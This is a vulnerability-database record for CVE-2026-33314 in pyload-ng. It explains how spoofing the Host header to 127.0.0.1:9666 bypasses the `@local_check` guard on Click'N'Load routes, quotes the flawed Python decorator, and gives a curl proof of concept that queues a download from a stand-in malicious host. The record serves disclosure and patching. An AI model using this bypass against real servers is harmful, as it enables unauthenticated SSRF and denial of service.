{"id":"CVE-2026-33314","aliases":["PYSEC-2026-122"],"url":"https://o3.security/vulnerability/CVE-2026-33314","summary":"Improper Authentication and Origin Validation Error in pyload-ng","details":"### Summary\n\nA Host Header Spoofing vulnerability in the `@local_check` decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS).\n\n### Details\n\nThe `pyload` WebUI provides an API for the Click'N'Load plugin, which is intended to be accessed only from the local machine (e.g., via a browser extension sending requests to `localhost:9666`). To enforce this, the `pyload` application uses a `@local_check` decorator on the relevant routes in `src/pyload/webui/app/blueprints/cnl_blueprint.py`.\n\nHowever, the `@local_check` implementation relies on the user-controlled `HTTP_HOST` (derived from the HTTP `Host` header) to verify the origin:\n\n```python\n# src/pyload/webui/app/blueprints/cnl_blueprint.py\ndef local_check(func):\n    @wraps(func)\n    def wrapper(*args, **kwargs):\n        remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n        http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n        if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n                \"127.0.0.1:9666\",\n                \"[::1]:9666\",\n        ):\n            return func(*args, **kwargs)\n        else:\n            return \"Forbidden\", 403\n    return wrapper\n```\n\nBecause `http_host` is read directly from the `Host` header of the HTTP request, an external attacker can easily spoof this header (e.g., `Host: 127.0.0.1:9666`). When this spoofed header is present, the condition `http_host in (\"127.0.0.1:9666\", ...)` evaluates to `True`, completely bypassing the IP address check (`remote_addr`) and granting access to the protected functions.\n\nThe affected routes are:\n\n- `/flash/` and `/flash/<id>`\n- `/flash/add`\n- `/flash/addcrypted`\n- `/flash/addcrypted2`\n- `/flashgot` and `/flashgot_pyload`\n- `/flash/checkSupportForUrl`\n\n### PoC\n\n1. Ensure the PyLoad instance is running and accessible externally.\n2. Ensure the `ClickNLoad` plugin is enabled in the PyLoad settings (it evaluates to disabled by default).\n3. Send a POST request to one of the protected endpoints, such as `/flash/add`, and spoof the `Host` header to `127.0.0.1:9666`.\n\nExample `curl` command:\n\n```bash\ncurl -i -X POST \"http://<pyload-external-ip>:<port>/flash/add\" \\\n     -H \"Host: 127.0.0.1:9666\" \\\n     -d \"urls=http://malicious.com/payload.bin\" \\\n     -d \"package=MaliciousPackage\"\n```\n\n4. Notice that you receive a `success\\r\\n` response instead of a `403 Forbidden`. The package and URL will be successfully added to the PyLoad queue.\n\n### Impact\n\nThis vulnerability allows unauthenticated attackers to interact with the Click'N'Load API. Attackers can arbitrarily add URLs to the download queue, which forces the PyLoad server to make outbound requests to attacker-controlled or internal URLs (SSRF). Attackers can also exhaust the server's storage or bandwidth by queueing massive files (DoS).","published":"2026-03-19T17:55:53Z","modified":"2026-06-08T19:15:12.463583404Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"pyload-ng","fixedVersion":"0.5.0b3.dev97"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-q485-cg9q-xq2r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33314"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-122.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-08T19:15:12.463583404Z"}}